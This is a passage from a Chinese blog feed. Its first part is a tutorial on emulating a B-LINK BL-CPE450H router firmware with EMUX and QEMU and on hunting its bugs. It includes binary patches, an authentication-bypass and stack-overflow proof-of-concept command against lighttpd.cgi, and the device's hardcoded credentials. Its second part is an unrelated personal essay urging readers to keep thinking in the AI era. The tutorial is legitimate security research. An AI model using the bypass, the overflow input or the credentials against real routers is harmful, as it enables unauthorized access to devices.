initcommands="/etc_ro/rcS;/bin/sh"  # 启动脚本+交互shell</code></pre>
<p>配置实在不懂，可以问 AI 比如 <code>initcommands</code> 的配置，每个固件都不同，有的不用 <code>/etc_ro/rcS;</code>。</p>
<pre><code class="language-bash"># nvram.ini 配置（固件仿真所需硬件参数，扣代码填数据）

WebInit=1           # Web管理界面初始化开关
OperationMode=1     # 设备工作模式
Login=admin         # 后台登录账号
Password=admin      # 后台登录密码
lan_ipaddr=192.168.1.1  # 内网管理地址
lan_netmask=255.255.255.0  # 子网掩码
SSID=B-LINK         # WiFi名称
blinkssid=B-LINK    # 设备默认WiFi名称
AuthMode=WPAPSK     # WiFi加密方式
HideSSID=0;0;       # 是否隐藏WiFi（0=不隐藏）</code></pre>
<pre><code class="language-bash"># devices 配置
firmware/BL-CPE450H,qemu-system-mipsel,malta,,,128M,vmlinux-2.6.32.5-malta-mipsel,MALTA2,BL-CPE450H MIPSLE Router</code></pre>
<p>这些配置跟 <code>devices</code> 文件内容要对应的，比如用到小端序 <code>qemu-system-mipsel</code>。
内核用 <code>vmlinux-2.6.32.5-malta-mipsel</code> 那么 <code>kernel</code> 文件夹必须要有这个文件。
不太懂可以参考官方自带的模板。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1093843004.png" alt="mnzqf41h.png" /></p>
<pre><code class="language-bash">./build-emux-docker # 构建镜像，让所有配置生效</code></pre>
<p>配置写完必须跑一遍这条命令，改了配置也要重新执行，不然不生效。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3861306425.png" alt="mnzqj0qm.png" /></p>
<pre><code class="language-bash">./run-emux-docker # 启动固件仿真环境</code></pre>
<p>最后执行这条命令，进行启动。</p>
<pre><code class="language-bash"># [EMUX-DOCKER 🐳] /home/r0# launcher
launcher # 启动仿真</code></pre>
<p>到 EMUX 交互界面再输入以上命令。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1359893020.png" alt="mnzqq0su.png" /></p>
<p>发现已经添加成功了，鼠标点击选择下 <code>BL-CPE450H</code> 然后 OK。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/2864891000.png" alt="mnzqw3ln.png" /></p>
<p>输入 <code>root</code> 账号，进行回车。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1086053737.png" alt="mnzqzcne.png" /></p>
<p><code>有三种模式:</code></p>
<ul>
<li>0：默认宿主机 shell，不启动仿真，改配置用</li>
<li>1：完整启动路由器，正常用/测漏洞用</li>
<li>2：直连路由器控制台，调试/排错用</li>
</ul>
<p>我选第二个，直接启动完整路由器。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/4191921941.png" alt="mnzr97rh.png" /></p>
<p>不出意外的情况下，还是出意外了，第一个问题：<code>goahead</code> 缺 <code>nvram_daemon</code>。
既然仿真环境没有这个守护进程，不折腾了，直接反编译 <code>goahead</code> 二进制打补丁，跳过 <code>nvram</code> 检查。
哪里卡壳就 patch 哪里，也可借助 AI 找出需跳过的判断逻辑。</p>
<pre><code class="language-c">// goahead 代码
int __fastcall ftext(int argc, const char *argv, const char *envp)
{
  int v3;
  int v4;
  int v5;
  int v6;
  int v7;
  int v8;
  const char *v9;
  _BYTE *v10;
  _BYTE *v11;
  int v12;
  unsigned int v13;
  int v14;
  int v15;
  int v16;
  _BYTE v18[4];
  int v19;
  char v20[200];
  int v21;

  bopen(0, 61440, 1);
  signal(13, 1);
  v3 = fopen("/var/run/goahead.pid", "w+");

  if ( v3 )                                 // NOP 0x004052F8
  {
    v4 = getpid();
    fprintf(v3, "%d", v4);
    fclose(v3);

    while ( !GetPid("nvram_daemon") )       // NOP 0x00405380
      sleep(5);

    memset(v20, 0, sizeof(v20));
    signal(24, sub_4492B8);
    signal(17, 1);
    signal(26, hotPluglerHandler);

    v5 = open("/dev/gpio", 0);
    v6 = v5;

    if ( v5 &lt; 0 )                           // NOP 0x00405404
    {
      perror("/dev/gpio");
    }
    else if ( ioctl(v5, 17, 1) &gt;= 0 )       // NOP 0x00405424
    {
    }
    else if ( ioctl(v6, 8, v7) &gt;= 0 )        // NOP 0x00405440
    {
    }
    else if ( ioctl(v6, 10, v18) &gt;= 0 )
    {
      close(v6);
      signal(16, sub_449240);
    }
    else
    {
      perror("ioctl");
      close(v6);
    }

    signal(31, WPSSingleTriggerHandler);

    if ( sub_4493D8() &gt;= 0 )                // NOP 0x004054C0
    {
      v8 = nvram_bufget(0, "OperationMode");

      if ( !atoi(v8) )                      // NOP 0x00405500
      {
        memset(v20, 0, sizeof(v20));
        sprintf(v20, "echo \"1;0.0.0.0;00:00:00:00:00:00\" &gt; /proc/%s/DHCP_Dns", "mt7628");
        doSystem(v20);
      }

      if ( initInternet() &gt;= 0 )            // NOP 0x0040551C
      {
        v9 = (const char *)nvram_bufget(0, "lan_ipaddr");
        socketOpen();
        v10 = (_BYTE *)nvram_bufget(0, "Login");
        v11 = (_BYTE *)nvram_bufget(0, "Password");
        umOpen();
        umAddGroup("adm", 7, 3, 0, 0);

        if ( v10 &amp;&amp; *v10 &amp;&amp; v11 &amp;&amp; *v11 )
        {
          umAddUser(v10, v11, "adm", 0, 0);
          umAddAccessLimit("/", 3, 0, "adm");
        }
        else
        {
          error("goahead.c", 544, 2, "gohead.c: Warning: empty administrator account or password");
        }

        if ( v9 )                           // NOP 0x00405614
        {
          v12 = inet_addr(v9);

          if ( v12 != -1 )                  // NOP 0x00405634
          {
            strcpy(v20, "/etc_ro/web");
            v21 = v12;
            websSetDefaultDir(v20);
            v21 = inet_ntoa(v21);
            v13 = strlen(v21) + 1;
            v14 = 128;
            if ( v13 &lt; 0x80 )
              v14 = v13;
            ascToUni(v18, v21, v14);
            websSetIpaddr(v18);
            websSetHost(v18);
            websSetDefaultPage("login.asp");
            websSetPassword("");
            websOpenServer(80, 5);
            websUrlHandlerDefine("", 0, 0, websSecurityHandler, 1);
            websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
            websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0);
            websUrlHandlerDefine("", 0, 0, websDefaultPage, 2);
            formDefineCGIjson();
            websUrlHandlerDefine("/", 0, 0, sub_449360, 0);

            if ( !*(_BYTE *)nvram_bufget(0, "Password") )
            {
              doSystem("echo 'admin:x:0:admin' &gt; /etc/group");
              doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' &gt; /etc/passwd");
              doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' &gt; /etc/passwd-");
            }

            v15 = nvram_bufget(0, "Login");
            strcpy(&amp;g_User, v15);
            v16 = nvram_bufget(0, "Password");
            strcpy(&amp;g_Pass, v16);
            strcpy(&amp;g_baseUser, "adminblink");
            strcpy(&amp;g_basePass, "blinkadmin");

            while (1)
            {
              if ( socketReady(-1) || socketSelect(-1, 1000) )
                socketProcess(-1);
              websCgiCleanup();
              emfSchedProcess();
            }
          }

          error("goahead.c", 572, 2, "initWebs: failed to convert %s to binary ip data", v9);
        }
        else
        {
          error("goahead.c", 567, 2, "initWebs: cannot find lan_ip in NVRAM");
        }
      }
    }
  }
  else
  {
    error("goahead.c", 240, 2, "goahead.c: cannot open pid file");
  }

  return -1;
}</code></pre>
<p>比较懒 IDA Pro 也没装插件，一个一个打太麻烦了，这里我用 <code>radare2 -w</code> 直接刷过去。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/645647762.png" alt="mnzwfon3.png" /></p>
<pre><code class="language-bash"># r2 -w goahead
aaa
oo+
s 0x00405380
wx 00000000
s 0x00405404
wx 00000000
s 0x00405424
wx 00000000
s 0x00405440
wx 00000000
s 0x00405614
wx 00000000
s 0x00405634
wx 00000000
s 0x004052F8
wx 00000000
s 0x004054C0
wx 00000000
s 0x00405500
wx 00000000
s 0x0040551C
wx 00000000
q</code></pre>
<pre><code class="language-c">s 0x00405380    wx 00000000    → while (!GetPid("nvram_daemon")) sleep(5); // NOP
s 0x00405404    wx 00000000    → if ( v5 &lt; 0 ) // NOP
s 0x00405424    wx 00000000    → if ( ioctl(v5, 17, 1) &gt;= 0 ) // NOP
s 0x00405440    wx 00000000    → if ( ioctl(v6, 8, v7) &gt;= 0 ) // NOP
s 0x00405614    wx 00000000    → if ( v9 ) // NOP
s 0x00405634    wx 00000000    → if ( v12 != -1 ) // NOP
s 0x004052F8    wx 00000000    → if ( v3 ) // NOP
s 0x004054C0    wx 00000000    → if ( sub_4493D8() &gt;= 0 ) // NOP
s 0x00405500    wx 00000000    → if ( !atoi(v8) ) // NOP
s 0x0040551C    wx 00000000    → if ( initInternet() &gt;= 0 ) // NOP
q</code></pre>
<p>以上是对应 nop 地址与代码位置。</p>
<pre><code class="language-bash">chmod -R 777 BL-CPE450H </code></pre>
<p>修改完要运行一定要给权限，不然仿真会没权限运行失败。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3542933154.png" alt="mnzvy3gm.png" /></p>
<p>打完补丁后，重复上面的 EMUX 操作重新启动，就成功能访问了。</p>
<table>
<thead>
<tr>
<th style="text-align: center;">序号</th>
<th style="text-align: center;">外部端口（Linux系统）</th>
<th style="text-align: center;">内部端口（模拟的系统）</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center;">1</td>
<td style="text-align: center;">20080</td>
<td style="text-align: center;">192.168.100.2:80</td>
</tr>
<tr>
<td style="text-align: center;">2</td>
<td style="text-align: center;">20443</td>
<td style="text-align: center;">192.168.100.2:443</td>
</tr>
<tr>
<td style="text-align: center;">3</td>
<td style="text-align: center;">28080</td>
<td style="text-align: center;">192.168.100.2:8080</td>
</tr>
<tr>
<td style="text-align: center;">4</td>
<td style="text-align: center;">24433</td>
<td style="text-align: center;">192.168.100.2:4433</td>
</tr>
<tr>
<td style="text-align: center;">5</td>
<td style="text-align: center;">9999</td>
<td style="text-align: center;">192.168.100.2:9999</td>
</tr>
</tbody>
</table>
<p>这是端口映射表，比如仿真的路由器访问 web 端口是 8080 ，在实体机访问 28080。</p>
<h4>QEMU 单个运行</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/878847069.png" alt="mnzjtahh.png" /></p>
<p>像 <code>cgi-bin、bin</code> 目录里放的都是可执行程序，只是芯片架构（MIPS、ARM 等）跟电脑不同，运行不了，要用 QEMU 来模拟。
可以通过 <code>file</code> 命令 查看程序的架构、字节序，区分是大端序还是小端序，方便后续仿真。
这里显示 <code>LSB</code> 表示小端序，对应使用 <code>qemu-mipsel</code>，<code>MSB</code> 表示大端序，对应使用 <code>qemu-mips</code>。</p>
<table>
<thead>
<tr>
<th style="text-align: center;">架构标识</th>
<th style="text-align: center;">端序</th>
<th style="text-align: center;">QEMU 对应命令</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center;">MIPSEL (LSB)</td>
<td style="text-align: center;">小端序</td>
<td style="text-align: center;">qemu-mipsel</td>
</tr>
<tr>
<td style="text-align: center;">MIPS (MSB)</td>
<td style="text-align: center;">大端序</td>
<td style="text-align: center;">qemu-mips</td>
</tr>
<tr>
<td style="text-align: center;">ARM (LSB)</td>
<td style="text-align: center;">小端序</td>
<td style="text-align: center;">qemu-arm</td>
</tr>
<tr>
<td style="text-align: center;">ARM64 (LSB)</td>
<td style="text-align: center;">小端序</td>
<td style="text-align: center;">qemu-aarch64</td>
</tr>
</tbody>
</table>
<p>这里以 <code>busybox</code> 举例也是成功运行了，那么就可以通过这种方式单个程序测试漏洞了。</p>
<h2>漏洞挖掘</h2>
<h4>未授权漏洞</h4>
<p>IoT 未授权是最好的突破口，因为有的设备根本不需要认证，当然也会遇到<code>授权后漏洞利用</code>的情况。
那么怎么测未授权呢？非常简单，说说我平时常用的操作：</p>
<ul>
<li>1.先登录路由器，用 <code>Yakit</code> 抓包，功能都点一遍，收集接口，进行模糊测试。</li>
<li>2.解包固件，在代码里找接口，然后用 <code>Yakit</code> 批量请求接口，<code>不加任何头部认证</code>。</li>
<li>3.查找该设备有没有公开漏洞，从已有的报告或文章里了解漏洞、构造请求接口。</li>
<li>4.硬核一点就纯看代码配合AI，不用仿真直接看出接口跟漏洞，然后线上实测。</li>
</ul>
<p><code>cgi-bin</code> 本质就是文件系统，最容易出现未授权访问。</p>
<h4>栈溢出漏洞</h4>
<p>这是我挖到的最简单的栈溢出基于 <code>cgi-bin</code> 未授权，程序代码也没做任何防护。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3359319225.png" alt="mnzl9giz.png" /></p>
<pre><code class="language-bash"># 本地 QEMU 模拟运行，绕过认证 + 栈溢出
echo '{"type":"getmanpwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB","loginauth":""}' | CONTENT_LENGTH=500 AUTHORIZATION="" qemu-mipsel -cpu 34Kf -L . ./www/cgi-bin/lighttpd.cgi</code></pre>
<p>通过 <code>qemu-mipsel</code> 直接本地运行路由器固件中的 lighttpd.cgi，携带 loginauth 字段即可绕过鉴权，并通过超长字符串触发栈溢出漏洞。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3597134643.png" alt="mnzls49y.png" /></p>
<pre><code class="language-c">// lighttpd.cgi 代码
int __fastcall ftext(int argc, const char **argv, const char **envp)
{
  int v3; // $s2
  char *v4; // $a0
  int v5; // $s1
  int v6; // $s0
  int v7; // $v0
  int v8; // $a0
  _BYTE v10[16384]; // [sp+18h] [-4000h] BYREF

  memset(v10, 0, sizeof(v10));
  v3 = getenv("AUTHORIZATION");       // 获取请求头中的 Authorization 认证信息
  v4 = (char *)getenv("CONTENT_LENGTH");
  if ( !v4 )
    v4 = "";
  v5 = strtol(v4, 0, 10) + 1;
  if ( v5 &gt;= 2 )
  {
    v6 = malloc(v5);
    if ( v6 )
    {
      if ( sub_400E98() )
      {
LABEL_12:
        free(v6);
        return 0;
      }
      memset(v6, 0, v5);
      fgets(v6, v5, stdin);          // 读取 POST 提交的内容

      v7 = strstr(v6, "loginauth");  // 检查提交的参数里有没有 loginauth
      // 如果 POST 数据 包含 loginauth 字段
      if ( !v7 )
      {
        // 没有 loginauth 才会校验账号密码
        if ( !check_auth(v3) )
        {
          // 认证失败返回 {"result":8}
          strcpy(v10, "{\"result\":8}");
          sub_400BE0();
LABEL_11:
          puts(v10);
          goto LABEL_12;
        }
        v8 = v6;
      }
      // 只要 POST 包含 loginauth 字段，直接跳过密码校验
      // 无需账号、无需密码、无需 token，直接进入核心功能
      share_func(v8, v10); // 溢出点在 share_func 函数里
      goto LABEL_11;
    }
  }
  return 0;
}</code></pre>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1986474193.png" alt="mnzltjdh.png" /></p>
<p>这里我通过 <code>grep -r</code> 快速定位 <code>share_func</code> 函数在哪个动态链接库里。 </p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3658768509.png" alt="mnzlxe6q.png" /></p>
<p>找到后 <code>libblinkapi.so</code> 用 IDA Pro 反编译，审计下就能发现 <code>strcpy(v16, v11);</code> 是有问题的。</p>
<pre><code class="language-c">// libblinkapi.so
// 参数 a1 = 传入的JSON字符串（包含type和loginauth）
// 参数 a2 = 输出缓冲区，用于存放返回结果
int __fastcall share_func(int a1, _BYTE *a2)
{
  int v4; // $v0
  int v5; // $s2
  _BYTE *v6; // $a0
  const char *v7; // $a1
  int ObjectItem; // $v0
  int v10; // $s3
  int v11; // $a1
  int v12; // $s3
  int v13; // $s6
  char *v14; // $s4

  _BYTE v15[16384]; // [sp+18h] [-4100h] BYREF
  char v16[256];     // [sp+4018h] [-100h] BYREF 局部变量，仅256字节栈空间

  memset(v15, 0, sizeof(v15));

  // 1. 解析我们传入的JSON数据：{"type":"getmanpwdAAA...","loginauth":""}
  v4 = cJSON_Parse(a1);
  v5 = v4;
  if ( !v4 )
  {
    v6 = v15;
    v7 = "{\"result\":7}";
LABEL_5:
    strcpy(v6, v7);
    return -1;
  }

  // 2. 提取JSON中的 "type" 字段内容
  // 也就是我们传入的：getmanpwd + 超长AAA...BBB...字符串
  ObjectItem = cJSON_GetObjectItem(v4, "type");
  if ( !ObjectItem )
  {
    strcpy(v15, "{\"result\":7}");
    cJSON_Delete(v5);
    v6 = a2;
    v7 = v15;
    goto LABEL_5;
  }

  // 拿到 type 字符串指针
  v10 = *(_DWORD *)(ObjectItem + 16);
  // 清空 v16 缓冲区（大小只有 256 字节）
  memset(v16, 0, sizeof(v16));
  v11 = v10;
  v12 = 0;

  // 危险函数：strcpy(目标，源)
  // 目标：v16 只有 256 字节栈空间
  // 源：我们传入的超长 type 字符串（几百字节）
  // 直接无限制拷贝 → 覆盖栈返回地址 → 栈溢出
  strcpy(v16, v11);

  v13 = strlen(v16);
  do
  {
    v14 = &amp;blink_handle[68 * v12];
    if ( v13 == strlen(v14) &amp;&amp; !memcmp(v16, v14, v13) )
    {
      (*((void (__fastcall **)(int, _BYTE *))v14 + 16))(a1, v15);
      goto LABEL_12;
    }
    ++v12;
  }
  while ( v12 != 124 );

  sprintf(v15, "{\"type\":\"%s\",\"result\":6}", v16);

LABEL_12:
  cJSON_Delete(v5);
  strcpy(a2, v15);
  return 0;
}</code></pre>
<p>1.<code>loginauth</code> → <strong>绕过认证</strong>
2.<code>type</code> 后面跟<strong>超长字符串</strong>
3.进入 <code>share_func</code> 后，执行 <strong><code>strcpy(v16, 超长字符串)</code></strong>
4.<code>v16</code> 只有 <strong>256字节</strong>，直接 → <strong>栈溢出</strong></p>
<p>那么就可以基于这个突破口 <code>get shell</code> 了，没写 <code>exp</code> 构造也很简单。</p>
<h4>硬编码漏洞</h4>
<p>这种最好挖了，基本像什么路由器登录密码，固件解包密码都是硬编码写在固件里。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/4215779476.png" alt="mo0tqyqv.png" /></p>
<p>硬编码漏洞直接用 <code>firmwalker</code>、<code>IDA</code>、<code>grep</code>、<code>strings</code> 搜敏感关键字就行。
固件解包之后，拿 strings、grep 一顿搜 <code>password</code>、<code>admin</code>、<code>key</code>、<code>secret</code>、<code>token</code> 这些关键词。
用 firmwalker 扫更省事，会自动帮你找出写死的敏感信息。</p>
<h4>拒绝服务漏洞</h4>
<p>常见的几种路子：
1.接口疯狂发包，看设备会不会直接卡死、重启、断服务。
2.给接口传超大包、超长参数，撑爆内存或进程，直接打宕。
3.对一些没校验的 CGI 接口，无脑 Fuzz 畸形数据，很容易触发崩溃。
4.有些逻辑漏洞也能造成 DoS，比如死循环、无限创建进程，设备直接跑满卡死。
5.未授权接口反复调用，把设备资源占满，服务直接不可用。</p>
<h4>后门漏洞</h4>
<p>常见的几种路子：
1.有些厂商为了方便后期维护调试，会特意预留专用后门账号或接口。
2.开发测试阶段加的临时入口、调试功能，上线前没及时删掉。
3.代码审核不严格，隐藏的后门逻辑直接留在固件里没被发现。
4.还有部分后门是隐蔽的硬编码口令、万能密码，同型号设备通用。
5.解包固件或者黑盒测试接口，很容易找到这些隐藏入口直接拿权限。</p>
<h4>远程命令执行漏洞</h4>
<p>常见的几种路子：
1.接口对传入的参数没做过滤，直接拼接到系统命令里执行，可控点直接拿权限。
2.一些 CGI 脚本处理用户数据时不严谨，恶意参数直接被当成系统命令运行。
3.上传点、恢复配置、固件升级等功能没校验内容，被植入恶意命令执行。
4.代码里直接用 system、popen 这类函数，且外部可控，极易被利用。
5.未授权访问的命令调用接口，构造 payload 就能远程执行任意命令。</p>
<p><code>组合利用</code> 这也是我最喜欢的环节，一步一步绕过限制、构造 payload。
最终打出完整利用链，整个过程特别让人兴奋，就讲这么多了。</p>
<h2>结尾</h2>
<h4>挖洞方法论（个人研究）</h4>
<table>
<thead>
<tr>
<th style="text-align: left;">序号</th>
<th style="text-align: left;">思路口诀</th>
<th style="text-align: left;">核心用法</th>
<th style="text-align: left;">适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">1</td>
<td style="text-align: left;">先媒介后漏洞</td>
<td style="text-align: left;">从入口、交互点入手遍历测试与Fuzz，高效批量测试</td>
<td style="text-align: left;">日常刷洞、实战渗透、快速量产出洞</td>
</tr>
<tr>
<td style="text-align: left;">2</td>
<td style="text-align: left;">先漏洞后媒介</td>
<td style="text-align: left;">预设漏洞类型，反向寻找可触发路径</td>
<td style="text-align: left;">深挖0day、深度安全研究、挖掘高端漏洞</td>
</tr>
<tr>
<td style="text-align: left;">3</td>
<td style="text-align: left;">先资产后漏洞</td>
<td style="text-align: left;">全面摸排域名、端口、服务等资产逐一测试</td>
<td style="text-align: left;">常规打点、SRC批量挖洞，稳健积累漏洞</td>
</tr>
<tr>
<td style="text-align: left;">4</td>
<td style="text-align: left;">先漏洞后资产</td>
<td style="text-align: left;">持有POC、1day、0day，全网匹配对应目标资产</td>
<td style="text-align: left;">漏洞爆发批量收割、红队快速拿分</td>
</tr>
<tr>
<td style="text-align: left;">5</td>
<td style="text-align: left;">先权限后漏洞</td>
<td style="text-align: left;">梳理各级账号权限，直击权限校验短板</td>
<td style="text-align: left;">挖掘未授权、横向越权等高价值业务漏洞</td>
</tr>
<tr>
<td style="text-align: left;">6</td>
<td style="text-align: left;">先功能后逻辑</td>
<td style="text-align: left;">走完完整业务流程，寻找流程逻辑缺陷</td>
<td style="text-align: left;">挖掘权限绕过、数据篡改、业务流程漏洞</td>
</tr>
<tr>
<td style="text-align: left;">7</td>
<td style="text-align: left;">先流量后代码</td>
<td style="text-align: left;">抓取分析请求流量与参数，纯黑盒排查隐患</td>
<td style="text-align: left;">无源码环境，零基础高效黑盒挖洞</td>
</tr>
<tr>
<td style="text-align: left;">8</td>
<td style="text-align: left;">先输入后解析</td>
<td style="text-align: left;">构造畸形特殊输入，冲击后端数据解析模块</td>
<td style="text-align: left;">文件解析、XML、富文本类漏洞挖掘</td>
</tr>
<tr>
<td style="text-align: left;">9</td>
<td style="text-align: left;">先边界后溢出</td>
<td style="text-align: left;">拿捏数据长度、字符、数值边界临界点</td>
<td style="text-align: left;">字符串截断、权限绕过、栈堆溢出类漏洞</td>
</tr>
<tr>
<td style="text-align: left;">10</td>
<td style="text-align: left;">先默认后配置</td>
<td style="text-align: left;">优先检测默认账号、路径、出厂配置</td>
<td style="text-align: left;">运维疏漏漏洞，低成本快速挖到通用弱洞</td>
</tr>
<tr>
<td style="text-align: left;">11</td>
<td style="text-align: left;">先依赖后本体</td>
<td style="text-align: left;">优先审计第三方组件、框架、中间件</td>
<td style="text-align: left;">快速利用通用组件漏洞，降低挖洞难度</td>
</tr>
<tr>
<td style="text-align: left;">12</td>
<td style="text-align: left;">先同源后跨域</td>
<td style="text-align: left;">先突破同域权限，再攻坚跨域相关防护</td>
<td style="text-align: left;">前端安全、单点登录、子域权限突破</td>
</tr>
<tr>
<td style="text-align: left;">13</td>
<td style="text-align: left;">先历史后现网</td>
<td style="text-align: left;">调取历史域名、备份文件、老旧源码</td>
<td style="text-align: left;">发掘遗留废弃接口、陈年未修复漏洞</td>
</tr>
<tr>
<td style="text-align: left;">14</td>
<td style="text-align: left;">先会话后身份</td>
<td style="text-align: left;">窃取会话凭证顶替合法身份，绕过登录校验</td>
<td style="text-align: left;">免密登录、身份劫持、无声获取后台权限</td>
</tr>
<tr>
<td style="text-align: left;">15</td>
<td style="text-align: left;">先可控后利用</td>
<td style="text-align: left;">围绕外部可控点位，定向构造攻击载荷</td>
<td style="text-align: left;">命令执行、SQL注入、任意文件读写通用打法</td>
</tr>
</tbody>
</table>
<p>实操挖洞从来不是死啃理论，多调试、多踩坑、多实战才能吃透各类设备漏洞逻辑。IoT 领域漏洞存量巨大，只要沉下心深耕，不管是练手积累证书，还是深挖原生零日漏洞，都能收获满满，技术之路贵在坚持与实操。
最后送给看文章的小伙伴们：<code>实践出真理</code>。</p>
]]></content:encoded>
<slash:comments>0</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/2175/#comments</comments>
</item>
<item>
<title>【每日随记】在 AI 时代，请坚持思考</title>
<link>https://www.52tt.pro/index.php/archives/2163/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/2163/</guid>
<pubDate>Wed, 25 Feb 2026 10:56:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[每日随记]]></category>
<category><![CDATA[自我觉醒]]></category>
<description><![CDATA[## 一个小人物的坚持
我不是什么天才，也不是哲学家，说的话没有半分权威性，我只是个普通人，一个小人物。
这是我这么多年最深的感受：想要真正做好一件事，就得放下其他纷扰，一心一意沉下心。
以前，我也无数次动过念头，想给自己放个长假，去做自己真正喜欢的事。
...]]></description>
<content:encoded><![CDATA[
<h2>一个小人物的坚持</h2>
<p>我不是什么天才，也不是哲学家，说的话没有半分权威性，我只是个普通人，一个小人物。</p>
<p>这是我这么多年最深的感受：想要真正做好一件事，就得放下其他纷扰，一心一意沉下心。</p>
<p>以前，我也无数次动过念头，想给自己放个长假，去做自己真正喜欢的事。</p>
<p>可总觉得被什么东西牢牢束缚着，像戴上了一副无形的枷锁，迈不开脚步。</p>
<p>就算这样，我也不会向命运低头，更不会止步于此。</p>
<p>我一直很喜欢看动漫，因为那些角色身上，有着我一直渴望、却总觉得自己缺少的东西。</p>
<p>——精神上的信仰，与一往无前的勇气。</p>
<h2>蛊仙人-古月方源</h2>
<p>我很喜欢蛊仙人里的这段话：</p>
<p>一个人的坚持会有多难。</p>
<p>在场的所有蛊仙，都能回答这个问题。</p>
<p>因为他们当中。</p>
<p>有的因为责任而坚持，有的因为仇恨而坚持，有的因为精彩而坚持，有的因为爱情而坚持，而方源的回答呢。</p>
<p>他仍旧面无表情，毫无所动的向前进。</p>
<p>我曾经呐喊过，渐渐的我发不出声音。</p>
<p>我曾经哭泣过，渐渐的我不再流泪。</p>
<p>我曾经悲伤过，渐渐的我能承受一切。</p>
<p>我曾经喜悦过，渐渐的我看淡世间。</p>
<p>而如今，我只剩下面无表情。</p>
<p>我的目光如磐石般坚硬，我的心中只剩下坚持。</p>
<p>这就是我，一个小人物，方源的坚持。</p>
<h4>一个人的坚持会有多难</h4>
<p>{dplayer src="<a href="https://www.52tt.pro/usr/uploads/2026/02/2508163906.mp4">https://www.52tt.pro/usr/uploads/2026/02/2508163906.mp4</a>"/}</p>
<h4>落魄谷中寒风吹</h4>
<p>{mp3 name="蛊仙人 - 落魄谷中寒风吹" url="<a href="https://www.52tt.pro/usr/uploads/2026/03/3571195413.mp3">https://www.52tt.pro/usr/uploads/2026/03/3571195413.mp3</a>" cover="<a href="https://www.52tt.pro/usr/uploads/2026/03/1889424223.png">https://www.52tt.pro/usr/uploads/2026/03/1889424223.png</a>" theme="#f0ad4e" /}</p>
<p>1.<code>落魄谷中寒风吹，春秋蝉鸣少年归。</code>
翻译：落魄谷里寒风凛冽，伴随着春秋蝉的声响，重生的少年方源归来。
意思：写方源依靠<strong>春秋蝉</strong>重生，回到少年时期，从绝境中重新开始。</p>
<p>2.<code>荡魂山处石人泪，定仙游走魔向北。</code>
翻译：荡魂山上，石人落泪；他获得<strong>定仙游</strong>仙蛊，一路向北，正式走上魔道。
意思：写方源在<strong>荡魂山</strong>崛起，得到关键仙蛊，坚定<strong>魔道</strong>之路。</p>
<p>3.<code>逆流河上万仙退，爱情不敌坚持泪。</code>
翻译：逆流河上，万千仙人为之退避；所谓情爱，终究敌不过他对永生的执着。
意思：他掌控<strong>逆流河</strong>，战力横推天下；为了大道，<strong>舍弃所有情感羁绊</strong>。</p>
<p>4.<code>宿命天成命中败，仙尊悔而我不悔。</code>
翻译：天命既定、宿命难违，但即便历代仙尊都曾后悔，我却永不后悔。
意思：他<strong>逆天抗命</strong>，道心坚定，走自己的路，<strong>至死不悔</strong>。</p>
<h2>第一次觉醒</h2>
<p>我始终觉得，这是人生中最痛苦的阶段。</p>
<p>当你留出时间沉下心思考，慢慢看清了这个社会的真相。</p>
<p>当你的认知远远超过了能力，却发现自己对此，根本无力改变。</p>
<p>而我在快 24 岁的这个年纪，已经经历过了人生的第一次觉醒。</p>
<p>也是在这个时候我才发现，这个时代，早已不属于我。</p>
<h2>2026 ~ 2032 年</h2>
<p>AI 在高速渗透各行各业，有人站在风口上，有人连路都看不清。</p>
<p>人人都在问：AI 会不会取代人？</p>
<p>答案从来只有一个：算法能替代劳作，却永远替代不了人类的思考。</p>
<h2>坚持思考</h2>
<p>普通人的焦虑，从来不是 AI 太强，而是我们丢了思考。</p>
<p>AI 能给答案，却不能替你走人生；能替你干活，却给不了你热爱与勇气。</p>
<p>在 AI 时代，小人物最该守住的。</p>
<p>——是清醒地思考。</p>
<h4>清醒地思考成为本能</h4>
<h6>1. <strong>先定义真问题，再动手解决</strong></h6>
<p>碰到任何问题，先花80%的精力搞透：这到底是不是真问题？</p>
<p>我真正的需求是什么？</p>
<p>就像有人要“更快的马”，本质是要“更快的交通工具”，福特才因此造出了汽车。</p>
<h6>2. <strong>写「思考日志」，不只是记结论</strong></h6>
<p>每天花10分钟，写下当天关键决策的思考过程：</p>
<p>我为什么下这个判断？前提假设是什么？</p>
<p>有没有逻辑漏洞和其他可能？</p>
<p>多数人思考混乱，本质是从没看清过自己的思考路径。</p>
